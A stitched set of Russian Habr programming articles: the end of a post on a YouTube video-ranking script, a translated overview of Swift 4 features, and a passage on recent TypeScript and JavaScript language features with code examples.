Мне нужно было как-то учесть эти метрики. Следующий параметр — это количество подписчиков.
Я протестировал рейтинги, основанные исключительно на **соотношении просмотров к подписчикам** (т.е. поделив просмотры на количество подписчиков).
```
# Function to calculate view-to-sub ratio
def view_to_sub_ratio(viewcount, num_subscribers):
if num_subscribers == 0:
return 0
else:
ratio = viewcount / num_subscribers
return ratio
```
При изучении результатов некоторые из них выглядели многообещающе. Однако я заметил проблему: для видео с очень малым количеством подписчиков оценка сильно возрастает и они поднимаются наверх.

*Хотя верхнее видео потенциально выглядит интересными, второе и третье — это совсем не то, что я искал.*
Я предпринял меры, чтобы устранить эти отрицательные граничные случаи:
* Задал минимальное количество просмотров — 5000
* Задал максимальное соотношение просмотров и подписчиков — 5
```
# Calculating ratio while removing edge cases (of low views or low subscribers)
def custom_score(viewcount, ratio, days_since_published):
ratio = min(ratio, 5)
score = (viewcount * ratio)
return score
```
Я поэкспериментировал с разными пороговыми значениями, и мне показалось, что именно эти достаточно хорошо отфильтровывают видео с малым количеством подписчиков и просмотров. Протестировав код на нескольких разных темах, я наконец начал получать довольно приличные результаты.
Однако я заметил ещё одну проблему: **видео, опубликованные раньше, имели более высокую вероятность получить больше просмотров**. У них просто было больше времени на накопление просмотров.
Я планировал запускать этот код раз в неделю, поэтому решил ограничить поиск видеороликами, опубликованными за последние 7 дней.
```
# Function to create string for search start date
def get_start_date_string(search_period_days):
"""Returns string for date at start of search period."""
search_start_date = datetime.today() – timedelta(search_period_days)
date_string = datetime(year=search_start_date.year,month=search_start_date.month,
day=search_start_date.day).strftime(‘%Y-%m-%dT%H:%M:%SZ’)
return date_string
# Creating date string and executing search
date_string = get_start_date_string(7)
results = youtube_api.search().list(q=search_terms, part=’snippet’,
type=’video’, order=’viewCount’, maxResults=50,
publishedAfter=date_string).execute()
```
Также я добавил в метрику ранжирования параметр «количество дней после публикации». Я решил делить предыдущую оценку на количество дней, чтобы окончательная метрика была пропорциональна времени после публикации.
```
# Adding days since published into custom score
def custom_score(viewcount, ratio, days_since_published):
if ratio > 5:
ratio = 5
score = (viewcount * ratio) / days_since_published
return score
```
Продолжив тестировать код, я выяснил, что он достаточно стабильно определяет отличные видео, которые мне хотелось бы посмотреть. Я поэкспериментировал с различными вариациями и весами компонентов моей формулы, но понял, что это неточная наука, поэтому остановился на следующей формуле, в которой, как мне показалось, есть баланс простоты с эффективностью:

*Функция ценности*
Тестируем новый инструмент
--------------------------
Сначала я протестировал его на запросе «medical school». Были получены следующие результаты:

Затем я зашёл на YouTube и вручную поискал видео, связанные с медициной и медицинскими образовательными учреждениями. Оказалось, что мой инструмент обнаружил все видео, которые мне было бы интересно посмотреть. В частности, мне понравилось видео доктора Кевина Джаббала (Kevin Jabbal).
Я протестировал ещё один поисковый запрос, «productivity», и снова был вполне доволен результатами:

Второе видео оказалось слегка неожиданным и не тем, что мне было нужно. Но я не смог придумать простого способа отсеивать эти видео, которые подбирались из-за другого значения поискового запроса.
Спустя несколько месяцев компания OpenAI выпустила очень интересную новую нейронную сеть под названием GPT-3. Я решил протестировать свой поисковик с поисковым запросом «GPT-3», и нашёл такое видео:
Это интересное видео автора всего с несколькими тысячами подписчиков.
Если бы я ввёл тот же запрос на YouTube.com, мне пришлось бы проскроллить все видео о GPT-3 всех крупных каналов, прежде чем найти это видео на 31-м месте.

*Видео про GPT-3 на каналах с более крупными аудиториями*
Поиск таких интересных видео со свежим взглядом намного проще выполнять при помощи написанного мной кода Video Finder.
За последние несколько месяцев я пробовал различные поисковые запросы по моим интересам, например, «artificial intelligence», «medical AI» и «Python programming». **В пяти лучших видео, предложенных Video Finder, почти без сбоев всегда было хотя бы одно интересное видео.**
Подготовка рабочего процесса
----------------------------
Я причесал код и загрузил его на [GitHub](https://github.com/chris-lovejoy/YouTube-video-finder).
Если описывать в общих чертах, мой код теперь работал следующим образом:
1. Используем поисковые запросы, временной интервал и ключ API для извлечения информации с YouTube
2. Парсим интересующие нас метрики видео
3. Используем «функцию ценности» для ранжирования этих видео по прогнозируемой интересности
4. Сохраняем соответствующую информацию видео в DataFrame
5. Выводим в консоль подробности (в том числе ссылки) верхних пяти видео
Мне нужен был способ автоматического выполнения скрипта, и я решил использовать ***AWS Lambda*** (бессерверную платформу). Lambda позволяет писать код, который «спит», пока не включается (например, раз в неделю или на основании события).
В идеале процесс заключался бы в отправке при помощи Lambda автоматического письма со списком видео на мой ящик. Благодаря этому я мог бы выбирать видео из прошлого, которые бы хотел посмотреть на предстоящей неделе, и мне больше никогда не придётся заходить на главную страницу YouTube.
Однако этого не случилось.
Я впервые использовал Lambda и, как ни старался, у меня не получилось заставить одновременно работать все импортированные библиотеки. Для работы коду требуется клиент электронной почты boto3, OAuth для вызова API, Pandas для хранения результатов и множество других подзависимостей. Обычно установка этих пакетов тривиальна, но на Lambda появились дополнительные сложности. Во-первых, существуют ограничения памяти на загрузку, поэтому мне нужно было запаковать библиотеки в zip, а после загрузки распаковать их. Во-вторых, AWS Lambda использует специализированную сборку Linux, что усложняло импорт правильных перекрёстно совместимых библиотек. В-третьих, мой Mac вёл себя странно с этими виртуальными средами.
Потратив примерно 10-15 часов на изучение StackOverFlow, многократную загрузку разных кодовых баз и консультации с друзьями, я так и не смог заставить систему работать. Поэтому в конечном итоге, к своему разочарованию, был вынужден сдаться. *(Если у вас есть идеи, то пишите!)*
**Поэтому я остановился на плане Б**: вручную запускаю скрипт на моём локальном компьютере раз в неделю (после автоматического уведомления по электронной почте). Честно говоря, это не так уж страшно.
В заключение
------------
**В целом это оказался очень интересный проект**. Я научился пользоваться YouTube API, познакомился с AWS Lambda и создал инструмент, который буду применять в дальнейшем.
Использование моего кода при выборе видео для просмотра, похоже, повышает мою продуктивность, если у меня хватает силы воли не нажимать на ссылки в конце видео. Возможно, я пропускаю некоторые интересные видео, но моя цель заключается не во всеобъемлющем отслеживании качественных видео, стоящих просмотра (я вообще не думаю, что это возможно). **Вместо этого я хочу повысить планку качества видео, которые я *смотрю*.**
Этот проект — одна из множества моих идей, связанных с автоматизированной обработкой информации. Я считаю, что у нас есть огромный потенциал в повышении продуктивности и экономии времени благодаря осмысленному минимализму пользования цифровой средой.
Потенциальные следующие шаги
----------------------------
В целом, проект ещё довольно сырой и с ним можно сделать намного больше.
* Метрика ранжирования видео довольно груба и её можно ещё совершенствовать. Логичным следующим шагом может быть учёт соотношения лайков/дизлайков.
* Также многое зависит от поисковых запросов. Если текста нет в названии или описании, то видео не будет выбрано. Можно исследовать возможность решения этой проблемы.
* Также можно создать интерфейс, в который пользователи вводят только поисковые запросы и временной интервал. Код при этом станет более удобным, а также позволит пользователям просматривать видео, даже не переходя на youtube.com.
* Пока код выполняется довольно медленно. Я не особо занимался оптимизацией его скорости, учитывая, что планирую запускать его только раз в неделю. Но в нём есть очевидные неэффективные фрагменты, которые можно улучшить.
---
#### На правах рекламы
**Эпичные серверы** — это [VPS на Windows](https://vdsina.ru/cloud-servers?partner=habr203) или Linux с мощными процессорами семейства AMD EPYC и очень быстрыми NVMe дисками Intel. Спешите заказать!
[](https://vdsina.ru/cloud-servers?partner=habr203) | https://habr.com/ru/post/533080/ | null | ru | null |
# Что нового в Swift 4.0
Практические примеры, которые помогут вам узнать о том, что нового нас ждет в Swift 4.
Swift 4.0 — это новая версия многими любимого языка программирования с новыми функциями, которые позволяют нам писать более простой и безопасный код. Вы с удовольствием узнаете, что это не так драматично как эпичные изменения в Swift 3.0 и большинство изменений имеют обратную совместимость с вашим сущетсвующим кодом на Swift. Конечно вам потребуется некоторое время для внесения изменений, но это не должно занять много времени.
**От переводчика:**Я заранее прошу прощения за оформление и возможно некоторые мелкие недочеты в переводе, т.к. это мой первый опыт полноценного перевода технической статьи не для себя, а во благо других.
**ПРЕДУПРЕЖДЕНИЕ:** Swift 4 на момент написания и подготовки перевода статьи находится в активной разработке и автором оригинала были выбраны только некоторые из наиболее интересных и полезных новых функций для обсуждения. Пожалуйста, имейте в виду, что больше возможностей будет доступно ближе к релизу.
### Swift'овое кодирование и декодирование
Мы знаем, что типы значений велики, но еще мы знаем, что они ужасно взаимодействуют с Objective-C API, такими как *NSCoding* — вам нужно писать некую прослойку или использовать классы, при этом оба варианта неприятны. Хуже того, даже если вы переключаетесь на классы вам нужно писать методы кодирования и декодирования вручную, написание которых является болезненным и подверженным ошибкам.
Swift 4 вводит новый протокол *Codable*, который позволяет вам сериализовать и десериализовать собственные типы данных без написания дополнительного кода и не беспокоиться о потере ваших типов данных. Более того, вы можете выбрать как вы хотите сериализовать данные: использовать классический формат property list или JSON.
**Да, вы все прочитали правильно: Swift 4 позволяет вам сериализовать ваши собственные типы данных в JSON без написания специального кода.**
Давайте посмотрим насколько это прекрасно. Во-первых вот пользовательский тип данных и некоторые его экземпляры:
```
struct Language: Codable {
var name: String
var version: Int
}
let swift = Language(name: "Swift", version: 4)
let php = Language(name: "PHP", version: 7)
let perl = Language(name: "Perl", version: 6)
```
Как вы можете видеть, к структуре *Language* я подключил протокол *Codable*. С этим крошечным дополнением мы можем конвертировать это в JSON, представленный как *Data* следующим способом:
```
let encoder = JSONEncoder()
if let encoded = try? encoder.encode(swift) {
// сохраняем `encoded` где-нибудь
}
```
Swift автоматически кодирует все свойства внутри вашего типа данных, вам не нужно делать дополнительных действий.
Теперь вы, если также как и я долгое время использовали *NSCoding*, вероятно несколько сомневаетесь: действительно ли это то, что нам нужно и как мы можем быть уверены, что это работает? Давайте добавим немного кода чтобы попробовать преобразовать объект *Data* так чтобы мы могли отобразить это в консоли, тогда нам нужно декодировать это назад в новый экземпляр структуры *Language*:
```
if let encoded = try? encoder.encode(swift) {
if let json = String(data: encoded, encoding: .utf8) {
print(json)
}
let decoder = JSONDecoder()
if let decoded = try? decoder.decode(Language.self, from: encoded) {
print(decoded.name)
}
}
```
И JSONEncoder и PropertyListEncoder имеют множество вариантов настройки. Для получения дополнительной информации о других вариантах смотрите [предложения по развитию этой новой функциональности](https://github.com/apple/swift-evolution/blob/master/proposals/0167-swift-encoders.md).
### Многострочные строковые литералы
Написание многострочных строк в Swift всегда означало добавление *\n* внутри ваших строк для добавления переноса строки, там где вы этого хотите. В коде это выглядит не очень хорошо, но по крайней мере корректно отображает информацию для пользователей. К счастью, Swift 4 добавляет новый синтаксис для многострочных строковых литералов, который позваляет добавлять переносы строк и использовать кавычки без экранирования, в то же время доступна такая полезная функциональность, как строковая интерполяция.
Чтобы начать строковый литерал, вам нужно: написать три двойных кавычки *"""* и нажать *[Enter]*. Тогда вы можете продолжить писать строку сколько хотите включая переменные и разрывы строк, до завершения вашей строки нажатием *[Enter]* и написанием трех двойных кавычек *"""*.
Я хотел бы уточнить о нажатии переноса строки потому что строковый литералы имеют два важных правила:
1) когда вы открываете строку используя *"""* содержимое вашей строки должно начинаться на новой строке;
2) когда вы закрываете строку используя *"""* это обозначение также должно быть в начале новой строки.
Здесь это в действии:
```
let longString = """
When you write a string that spans multiple
lines make sure you start its content on a
line all of its own, and end it with three
quotes also on a line of their own.
Multi-line strings also let you write "quote marks"
freely inside your strings, which is great!
"""
```
Это создает новую строку с несколькими разрывами строк прямо в определении — гораздо проще читать и писать.
Для дополнительной информации смотрите [предложения по развитию этой новой функциональности](https://github.com/apple/swift-evolution/blob/master/proposals/0168-multi-line-string-literals.md).
### Улучшенные пути (keypaths) в KVC (Key-Value Coding)
Одной из самых любимых особенностей Objective-C является способность ссылаться на свойство динамически, а не напрямую — то есть, иметь возможность сказать *«вот объект X, здесь его свойство, которое я хотел бы прочитать»*, не читая его вообще. Эти ссылки, названные *keypaths*, отличаются от прямых доступов к свойствам, потому что они фактически не читают или не записывают значение, они просто скрывают их чтобы использовать позже.
Если вы ранее не использовали *keypaths* позвольте мне показать вам аналогию того как они работают с использованием обычных методов Swift. Мы собираемся определить структуры Starship и Crew, затем создать по одному экземпляру каждой:
```
// структура для примера
struct Crew {
var name: String
var rank: String
}
// другая структура, в этот раз с методом
struct Starship {
var name: String
var maxWarp: Double
var captain: Crew
func goToMaximumWarp() {
print("\(name) is now travelling at warp \(maxWarp)")
}
}
// создаем экземпляры наших структур
let janeway = Crew(name: "Kathryn Janeway", rank: "Captain")
let voyager = Starship(name: "Voyager", maxWarp: 9.975, captain: janeway)
// захватываем ссылку на `goToMaximumWarp()` метод
let enterWarp = voyager.goToMaximumWarp
// вызываем ссылку
enterWarp()
```
Поскольку функции в Swift являются типами первого класса последние две строки могут создать ссылку на метод *goToMaximumWarp()* и вызвать позже когда нам это понадобится. Проблема в том, что мы не можем сделать то же самое для свойств — мы неможем сказать *«создай ссылку на свойство имени капитана, которое я смогу проверить когда произойдет неизбежный бунт»*, потому что Swift просто прочитает свойство напрямую и вы просто получите исходное значение.
Это исправлено с помощью *keypaths*: они являются ссылками на свойства как наш код *enterWarp()*. Если вы вызываете ссылку сейчас вы получаете текущее значение, но если вы вызываете ссылку позже, вы получите самое последнее значение. Вы можете добраться через любое количество свойств и Swift использует свой тип вывода, чтобы гарантировать, что вы вернете правильный тип.
Сообщество развивающее Swift потратило много времени на обсуждение правильного синтаксиса для *keypaths* потому что это должно быть что-то визуально отличное от другого Swift кода и в конце концов этот синтаксис использует обратные косые черты: *\Starship.name*, *\Starship.maxWarp*, и *\Starship.captain.name*. Вы можете присвоить эти значения переменным и использовать тогда когда вы этого хотите любому экземпляру структуры *Starship*. Например:
```
let nameKeyPath = \Starship.name
let maxWarpKeyPath = \Starship.maxWarp
let captainName = \Starship.captain.name
let starshipName = voyager[keyPath: nameKeyPath]
let starshipMaxWarp = voyager[keyPath: maxWarpKeyPath]
let starshipCaptain = voyager[keyPath: captainName]
```
Это сделает *starshipName* как *String*, а *starshipMaxWarp* — *Double* потому что Swift способен правильно выводить типы данных. Третий пример берет свойство свойства и Swift также корректно определяет его.
Для дополнительной информации смотрите [предложения по развитию этой новой функциональности](https://github.com/apple/swift-evolution/blob/master/proposals/0161-key-paths.md).
### Улучшенная функциональность словарей
Одним из самых интригующих предложений для Swift 4 было добавление некоторой новой функциональности в словари, чтобы сделать их более мощными, а также сделать их поведение более предсказуемым в определенных ситуациях.
Давайте начнем с простого примера: фильтрация словарей в Swift 3 не возвращает новый словарь. Вместо этого в результате фильтрации мы получаем массив кортежей (*tuples*) с метками «ключ-значение». Например:
```
let cities = ["Shanghai": 24_256_800, "Karachi": 23_500_000, "Beijing": 21_516_000, "Seoul": 9_995_000];
let massiveCities = cities.filter { $0.value > 10_000_000 }
```
После того как это код выполнится вы не можете использовать для получения нужных данных такую запись:
```
massiveCities["Shanghai"]
```
потому что это уже не словарь. Вместо этого вам нужно использовать такой код:
```
massiveCities[0].value
```
и это не очень-то здорово.
Начиная с Swift 4 этот код ведет себя так как вы ожидали бы — фильтрация вернет новый словарь.
Да, очевидно, что это сломает любой существующий код, в котором используется массив кортежей как возвращаемое значение.
Точно также метод *map()* со словарями не работал так, как надеялись многие люди: вы получали переданный кортеж вида «ключ-значение» кроме того это могло быть одно значение добавленное в массив. Например:
```
let populations = cities.map { $0.value * 2 }
```
На данный момент это не изменено в Swift 4, но появился новый метод *mapValues()*, который должен быть значительно полезнее, потому что этот метод позволяет преобразовывать значения и помещать их обратно в словарь с использованием исходных ключей.
Например, этот код будет преобразовывать числовое значение и преобразовывать в строку данные о населении городов и складывать назад в новый словарь с такими же ключами: Shanghai, Karachi, и Seoul:
*(В случае если вам интересно, делать маппинг ключей словаря небезопасно, т.к. можно случайно создать дубликаты.)*
Мое любимое дополнение для словаря это инициализатор группировки, который преобразует последовательность в словарь последовательностей, которые сгруппированы по вашему желанию. Продолжая наш пример с городами мы могли бы использовать *cities.keys*, чтобы вернуть массив имен городов, а затем сгруппировать их по первой букве:
```
let groupedCities = Dictionary(grouping: cities.keys) { $0.characters.first! }
print(groupedCities)
```
Это выведет в консоль следующее:
```
["B": ["Beijing"], "S": ["Shanghai", "Seoul"], "K": ["Karachi"]]
```
Или мы могли бы сделать группировку городов на основе длин их имен:
```
let groupedCities = Dictionary(grouping: cities.keys) { $0.count }
print(groupedCities)
```
Это выведет в консоль следующее:
```
[5: ["Seoul"], 7: ["Karachi", "Beijing"], 8: ["Shanghai"]]
```
Наконец, сейчас возможно получение доступа к ключу словаря и предоставить значение по умолчанию, если указанный ключ отсутствует:
```
let person = ["name": "Taylor", "city": "Nashville"]
let name = person["name", default: "Anonymous"]
```
Сейчас любой опытный разработчик возможно будет утверждать что аналогичного результата можно добиться проще и я с этим согласен. Мы могли бы написать это таким образом в текущей версии Swift:
```
let name = person["name"] ?? "Anonymous"
```
Однако это не работает, если вы изменяете значение словаря, а не просто получаете его. Вы не можете сразу изменить значение словаря, потому что доступ по этому ключу возвращает опциональный тип — ключ может не существовать. С помощью значений словаря по умолчанию в Swift 4 вы можете написать более сжатый код, например:
```
var favoriteTVShows = ["Red Dwarf", "Blackadder", "Fawlty Towers", "Red Dwarf"]
var favoriteCounts = [String: Int]()
for show in favoriteTVShows {
favoriteCounts[show, default: 0] += 1
}
```
Этот цикл перебирает каждую строку в *favoriteTVShows* и использует словарь *favoriteCounts* чтобы отслеживать как часто появляется каждый элемент. Мы можем менять словарь в одну строку кода, потому что мы знаем что он всегда будет иметь значение: или 0 как значение по умолчанию или некоторое большее число основанное на предыдущем подсчете.
Для дополнительной информации смотрите [предложения по развитию этой новой функциональности](https://github.com/apple/swift-evolution/blob/master/proposals/0165-dict.md).
### Строки снова коллекции!
Это маленькое изменение, но гарантировано сделает многих людей счастливыми: строки снова являются коллекциями. Это означает, что теперь вы можете их обратить, перебрать по символам, использовать *map()* и *flatMap()* и т.д. Например:
```
let quote = "It is a truth universally acknowledged that new Swift versions bring new features."
let reversed = quote.reversed()
for letter in quote {
print(letter)
}
```
Это изменение было внесено как часть набора поправок, называнный [«Манифест строк»](https://github.com/apple/swift/blob/master/docs/StringManifesto.md).
### Односторонние диапазоны
Последнее, но не менее важное — в Swift 4 появляется Python-подобная односторонняя нарезка коллекций, где недостающая сторона диапазона автоматически определяется как начало или конец коллекции. Это не влияет на существующий код, потому что это новый подход к существующему оператору, таким образом вы можете не беспокоиться о потенциальной поломке в коде. Примеры:
```
let characters = ["Dr Horrible", "Captain Hammer", "Penny", "Bad Horse", "Moist"]
let bigParts = characters[..<3]
let smallParts = characters[3...]
print(bigParts)
print(smallParts)
```
Этот код выводит в консоль сначала это:
```
["Dr Horrible", "Captain Hammer", "Penny"]
```
а затем это:
```
["Bad Horse", "Moist"]
```
Для дополнительной информации смотрите [предложения по развитию этой новой функциональности](https://github.com/apple/swift-evolution/blob/master/proposals/0172-one-sided-ranges.md).
### Еще больше впереди...
На момент перевода статьи разработчикам уже доступен Xcode 9 Beta 3 (с 10.07.2017) вместе с iOS 11, tvOS 11, watchOS 4, и новой версией macOS. То что мы видели уже многообещающе, потому что понятно, что команда усердно трудится чтобы сделать Swift 4 как можно лучше. Речь идет прежде всего о добавлении новых функций, а не об изменении существующих и это должно сделать легче переход на новую стабильную версию языка.
Не смотря на то, что развитие Swift иногда может быть хаотичным, Swift 4 снова подтверждает подход сообщества Apple. Я добавил несколько предложений, каждое из предложений было широко обсуждено сообществом чтобы достичь согласия — это не просто инженеры Apple, которые форсируют изменения просто потому что они могут, вместо этого они отличаются разумным и продуманным подходом, чтобы улучшить то что уже является умным и элегантным языком.
Одной из функций, которая была отложена, является совместимость с ABI, которая позволила бы разработчикам распространять скомпилированные библиотеки — одну из немногих ключевых недостающих функций, которые остаются в Swift сегодня. Надеюсь, мы доберемся до этого в Swift 5… | https://habr.com/ru/post/333712/ | null | ru | null |
# Новые возможности TypeScript, повышающие удобство разработки
TypeScript, во многих отношениях, больше похож не на язык программирования, а на мощный инструмент для линтинга и документирования кода, который помогает писать более качественные JavaScript-программы.
Одна из наиболее заметных сильных сторон TypeScript — это поддержка некоторых из новейших возможностей, описанных в спецификации ECMAScript. Когда разработчик обновляется до новой версии TypeScript, это означает, что в его распоряжении оказываются и новые возможности JavaScript. Причём, использование этих возможностей не означает потенциальных проблем с совместимостью. TypeScript, помимо внедрения новейших возможностей JavaScript, заметен ещё и тем, что создатели языка постоянно представляют сообществу TS-программистов что-то новое, призванное повысить удобство работы. Сюда входят, например, вспомогательные инструменты для рефакторинга кода, средства для переименования сущностей и для поиска мест, где они используются в программах.
[](https://habr.com/ru/company/ruvds/blog/493712/)
В материале, перевод которого мы сегодня публикуем, будут рассмотрены некоторые интересные свежие возможности TypeScript. Для того чтобы ознакомиться с полным списком новшеств TypeScript — загляните [сюда](https://www.typescriptlang.org/docs/handbook/release-notes/overview.html).
Иммутабельные объекты и массивы
-------------------------------
Для того чтобы во время компиляции сделать иммутабельными массивы, используемые в виде обычных переменных и параметров функций, в TypeScript можно воспользоваться вспомогательными типами `Readonly` и `ReadonlyArray`. Однако их использование может вызвать ощущение неоднородности в аннотировании типов, особенно при объявлении массивов с использованием символов `[]` после указания типа. В TypeScript 3.4 появился новый способ маркировки параметров, которые являются массивами, предназначенными только для чтения. Тут же появился и новый способ объявления переменных, которые должны быть иммутабельными.
Повышение удобства работы с параметрами, являющимися массивами, предназначенными только для чтения
--------------------------------------------------------------------------------------------------
При объявлении параметров функций, с которыми нужно работать как с массивами, предназначенными только для чтения, теперь можно использовать ключевое слово `readonly`. В следующем примере сигнатуры двух методов идентичны:
```
function foo(s: ReadonlyArray) { /\* ... \*/ }
function foo(s: readonly string[]) { /\* ... \*/ }
```
В обоих случаях любая попытка модификации массива (например — с использованием его метода `push`) приведёт к появлению ошибки. Это новшество позволяет устранить необходимость в использовании вспомогательного типа-дженерика, что означает появление кода, который легче читать. Объектные типы тоже можно маркировать как сущности, предназначенные только для чтения, но они всё ещё нуждаются в использовании вспомогательного типа `Readonly`.
Повышение удобства работы с иммутабельными переменными с использованием конструкции as const
--------------------------------------------------------------------------------------------
Тип переменной, объявленной с использованием ключевого слова `const`, не может быть изменён. Эта концепция существует в JavaScript. Она принята и в TypeScript ради организации более строгой работы с типами. Но при работе с объектными типами данных, с такими, как объекты или массивы, оказывается, что такие структуры не являются по-настоящему иммутабельными. Использование ключевого слова `const` означает, что конкретный экземпляр объекта или массива при работе с константой будет оставаться неизменным, однако содержимое этого объекта или массива может быть легко изменено. Например, без нарушения правил работы с const-сущностями, в массив можно добавлять новые значения с помощью метода `push`, можно менять значения свойств объектов.
Используя `Readonly` и `ReadonlyArray` можно указать TypeScript на то, что система должна рассматривать объектные сущности так, как будто они являются по-настоящему иммутабельными. Это значит, что каждый раз, когда в коде будет делаться попытка изменения такой сущности, будет выдаваться сообщение об ошибке.
```
interface Person {
name: string;
}
const person = {
name: 'Will'
} as Readonly;
person.name = 'Diana'; // ошибка!
```
В TypeScript 3.4, кроме прочих новшеств, появилось и понятие const assertion (константное утверждение), предусматривающее использование конструкции `as const`. Это — упрощённый метод объявления констант, содержащих иммутабельные объекты и массивы. Такие объявления строятся с помощью добавления `as const` в конец объявления константы. У этого метода есть и дополнительное преимущество, которое заключается в том, что при его использовании не нужно явным образом указывать тип в утверждении `as const`.
```
const person = {
name: 'Will'
} as const;
person.name = 'Diana'; // ошибка!
// С массивами тоже можно использовать as const
const array = [1, 2, 3] as const;
array.push(4); // ошибка!
```
Вспомогательный тип Omit
------------------------
В TypeScript существует несколько вспомогательных типов, которые позволяют легко отображать существующие типы на новые, или по условию устанавливать тип, основываясь на других типах.
Вспомогательный тип `Partial` позволяет пометить все свойства объекта как необязательные. До выхода TypeScript 3.5, как оказалось, я постоянно применял в своих проектах один интересный механизм. Это — то же самое, чего сейчас позволяет достичь использование вспомогательного типа `Omit`. Данный тип, как следует из его имени, позволяет исключать что-то из других типов. `Omit` принимает тип и объединение ключей, после чего возвращает новый тип, из которого исключены свойства, описанные ключами. Прошли те дни, когда мне приходилось пользоваться `Pick` и `Exclude` для самостоятельной реализации функционала `Omit`.
```
// Теперь это есть в TypeScript 3.5
type Omit = Pick>;
interface A {
propA?: string;
propB?: string;
propC?: string;
}
type B = Omit;
const b: B = { propA: 'hi' }; // ошибка;
```
Новые возможности JavaScript, поддерживаемые TypeScript
-------------------------------------------------------
Когда предложения по новым возможностям JavaScript достигают 4 стадии согласования, их принято считать частью следующей версии языка. Правда, это не означает, что такими возможностями тут же можно воспользоваться в JavaScript, так как их поддержка должна быть реализована в соответствующих средах. Приложение должно иметь доступ к подобным возможностям везде, где предполагается его нормальная работа.
В компилятор TypeScript регулярно добавляют поддержку новых возможностей JavaScript. Обычно код, реализующий эти возможности, может быть преобразован в JavaScript-код, который совместим со всеми браузерами, поддерживающими цель сборки проекта, указанную в `tsconfig.json`.
### ▍Проверка на null и undefined
JavaScript-разработчики знакомы с концепцией истинности и ложности значений. При проверке на истинность можно выделить 6 значений, которые всегда являются ложными: `0`, `null`, `undefined`, `«»`, `NaN`, и, конечно, `false`. Чаще всего разработчику просто нужно узнать, является ли значение истинным или ложным, но в некоторых случаях нужно лишь узнать о том, является ли исследуемое значение настоящим значением `null` или `undefined`. Например, в том случае, если в коде нужно различать `0` и `undefined`:
```
// использование || не поможет в том случае, если index равно 0
const getValueOrOne = (x?: number) => index || 1;
getValueOrOne(0); // 1 <-- проблематично
```
Этот код будет работать, устанавливая `x` в значение, записанное в `index`, во всех случаях, кроме тех, когда значение `index` равно `0`. Для того чтобы этот код работал бы правильно в любой ситуации, его нужно переписать, использовав более сложную схему проверок для выяснения реального типа значения.
```
// этот код работает, но устроен он сложнее
const getValueOrOne = (x?: number) => index !== null && index !== undefined ? : 1;
getValueOrOne(0); // 0
```
Теперь код работает, но он требует использования более сложных проверок. Новый оператор для проверки значения на `null` и `undefined` (он выглядит как два вопросительных знака — `??`) упрощает подобные проверки, возвращая значение, находящееся в его левой части, в том случае, если оно не равно `null` и `undefined`. В противном случае он возвращает то, что находится в его правой части.
```
// Работает!
const getValueOrOne = (x?: number) => index ?? 1;
getValueOrOne(0); // 0
getValueOrOne(2); // 2
getValueOrOne(); // 1
```
### ▍Опциональные последовательности
Ещё одна новая возможность JavaScript, доступная в TypeScript 3.7 — это оператор для организации опциональных последовательностей (`?.`). Я впервые встретился с таким оператором в языке программирования Groovy. C тех пор мне хотелось, чтобы он появился и в JavaScript. Этот оператор позволяет организовать обращение к вложенным свойствам объектов без необходимости постоянной проверки их существования. Если при обращении к свойству этот оператор встретится со значением `undefined` — он просто вернёт это значение, не выбрасывая ошибку `TypeError`.
```
// без оператора опциональной последовательности
const value = foo && foo.bar && foo.bar.baz;
// с оператором опциональной последовательности
const value = foo?.bar?.baz;
```
Оператор опциональной последовательности, скомбинированный с оператором проверки значений на `null` и `undefined`, даёт разработчику ещё больше возможностей, позволяя, например, записывать в переменную либо значение некоего вложенного свойства объекта, либо, если такого свойства не существует, некое стандартное значение. Вот как это выглядит:
```
const value = foo?.bar?.baz ?? 'default value';
```
### ▍Приватные поля классов
В TypeScript, с момента появления этого языка, есть собственная концепция приватных полей классов, объявляемых с модификатором доступа `private`. Эта концепция появилась в TypeScript ещё до того, как в стандарте ECMAScript были описаны классы. Но в TypeScript эта концепция относится к механизмам, работающим во время компиляции кода. Компилятор выдаст ошибку в том случае, если к приватному полю класса обращаются не из собственных методов класса. Теперь в JavaScript появилась возможность объявления приватных свойств и методов класса. Но эта возможность и семантически, и синтаксически отличается от того, что до сих пор существовало в TypeScript.
Приватные поля в JavaScript объявляют не с использованием модификатора доступа `private`. Вместо этого их объявляют, ставя в начале их имён символ `#`.
```
class Fan {
#on = false;
private name = 'fan';
turnOn() {
this.#on = true;
}
isTurnedOn() {
return this.#on;
}
}
const fan = new Fan();
fan.isTurnedOn(); // false
fan.turnOn();
fan.isTurnedOn(); // true
fan.on; // не существует
fan.#on; // недоступно
fan.name; // выдаёт ошибку компиляции, но доступно в JS
```
Сейчас JavaScript поддерживает приватные поля, [предложение](https://github.com/tc39/proposal-private-methods) по приватным методам находится на третьей стадии согласования. В настоящее время модификатор `private` и знак `#` в имени поля нельзя использовать совместно. Оба подхода могут пригодиться в ходе разработки, и то, какой именно выбрать, зависит от программиста. [Вот](https://www.sitepen.com/blog/episode-38-private-vs-private-adding-es-private-to-typescript/) подкаст, в котором обсуждают новый синтаксис объявления приватных полей.
### ▍Использование ключевого слова await на верхнем уровне кода
Механизмы асинхронного программирования серьёзно расширяют возможности JavaScript и TypeScript. Сначала в этой сфере появились промисы, потом — конструкция `async/await`, которая позволяет писать более чистый асинхронный код.
Один из случаев, когда используют промисы, а не `async/await` — это вызов асинхронного метода за пределами асинхронной функции. Например — на верхнем уровне кода модуля или приложения. В качестве обходного пути в такой ситуации можно предложить создание асинхронного немедленно вызываемого функционального выражения (IIFE, Immediately Invoked Function Expression) и выполнение асинхронного кода внутри такого выражения.
```
(async () => {
const response = await fetch('https://api.github.com/users/sitepen');
const data = await response.json();
console.log(`Check out the blog at ${data.blog}`);
})();
```
Теперь TypeScript поддерживает возможность JavaScript по использованию ключевого слова `await` на верхнем уровне кода. Это значит, что await можно использовать за пределами функций, объявленных с ключевым словом `async`. Это очень хорошо в плане написания компактного и понятного кода. Правда, выражения `await` на верхнем уровне кода критикуют за то, что они могут вызвать замедление загрузки модулей и создать ситуацию, в которой некий модуль может замедлить загрузку всего приложения, так как системе приходится ждать завершения асинхронной операции, а потом уже выполнять весь код модуля.
```
const response = await fetch('https://api.github.com/users/sitepen');
const data = await response.json();
export default { ...data };
```
Улучшенная среда для экспериментов с TypeScript
-----------------------------------------------
